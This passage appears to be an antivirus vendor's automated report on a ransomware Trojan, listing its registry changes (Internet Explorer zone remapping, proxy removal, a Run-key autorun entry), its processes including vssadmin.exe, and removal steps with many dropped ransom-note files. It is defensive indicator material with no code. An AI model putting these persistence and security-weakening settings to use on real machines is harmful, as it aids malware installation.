[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The process vssadmin.exe:1340 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 69 73 0E 3C FA A1 61 9B 2A 11 9F 1A 57 7C 66"
The process vssadmin.exe:916 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B0 D3 5F 28 F1 62 FC C1 19 0F 7C 8C E1 82 B2 DD"
The process NOTEPAD.EXE:1888 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 29 38 98 98 0E 07 91 C1 8A 69 21 E7 BA D6 35"
The process vcwhqj.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"VSSADMIN.EXE" = "Command Line Interface for Microsoft® Volume Shadow Copy Service"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"NOTEPAD.EXE" = "Notepad"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 93 E9 BF EB D9 3A DF AE 6F 3B 93 2B 0E D8 25"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\BF75E1A6AE908920]
"data" = "31 36 6F 4C 75 67 45 65 51 48 46 62 47 65 4E 31"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"
[HKCU\Software\msys]
"ID" = "BF 75 E1 A6 AE 90 89 20"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLinkedConnections" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "C"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "%Documents and Settings%\%current user%\Application Data\vcwhqj.exe"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1616
vssadmin.exe:1340
vssadmin.exe:916
NOTEPAD.EXE:1888
vcwhqj.exe:228 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Application Data\vcwhqj.exe (1425 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.html (5 bytes)
C:\System Volume Information\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.HTML (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.txt (2 bytes)
C:\totalcmd\NO.BAR (892 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword.doc (426 bytes)
%Documents and Settings%\Default User\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\glob.settings.js (860 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.txt (2 bytes)
C:\totalcmd\KEYBOARD.TXT (436 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.txt (2 bytes)
C:\System Volume Information\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (1225 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel4.xls (419 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.txt (2 bytes)
